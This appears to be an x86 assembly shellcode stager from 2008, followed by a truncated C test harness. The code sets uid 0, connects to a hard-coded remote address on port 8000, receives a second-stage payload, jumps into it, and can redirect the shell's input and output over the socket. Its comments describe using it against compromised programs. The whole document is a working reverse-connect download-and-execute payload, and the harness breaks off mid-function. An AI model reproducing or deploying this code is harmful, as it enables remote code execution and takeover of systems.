; sm4x - 2008
; reverse connect dl(shellcode) and execute, exit
;  - i've used this to feed pwnd progs huge messy shellcode ret'ing the results over nc ;)
;  - feed it with a $nc -vvl -p8000 <shellcode_in_file
; setuid(0); socket(); connect(); dups(); recv(); jmp; exit();
; 90 bytes (NULL free dep on remote address)

global _start

xor     eax, eax

; --- setuid(0)
push    eax
push    eax
mov     al, 0x17
push    eax
int     0x80

; --- socket()
push    eax
push    byte 0x01
push    byte 0x02
mov     al, 0x61
push    eax
int     0x80
mov     edx, eax

; --- sockaddr_in setup
push    0x90011ac      ; host (.0. is a NULL)
push    0x401f02AA     ; port 8000
mov     eax, esp

; --- setup connect(edx, eax, 0x10);
push    byte 0x10
push    eax
push    edx
xor     eax, eax
mov     al, 0x62
push    eax
int     0x80
jne     done

; --- dup2(0+1+2) - remove if you dont want results sent over the wire
mov     cl, 0x03
xor     ebx, ebx
push    ebx
push    edx
mov     al, 0x5a
push    eax
int     0x80
inc     ebx
loop    dups

; --- recv(fd, *buf, 1028);
xor     eax, eax
push    word 0x0404      ; conf read size here
lea     ecx, [esp-0x0404] ; and here
push    ecx          
push    edx
mov     al, 0x03
push    eax
int     0x80

; --- jmp to recv shellcode
jmp     ecx          ; run shellcode

; --- exit (optional -> pls exit from jmp shellcode)
xor     eax, eax
inc     eax
push    eax
push    eax
int     0x80


#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>

char code[] = "\x31\xc0\x50\x50\xb0\x17\x50\xcd\x80\x50"

int main(int argc, char **argv) {       
 int (*func)();
 printf("Bytes: %d\n", sizeof(code));
 func = (int (*)()) code;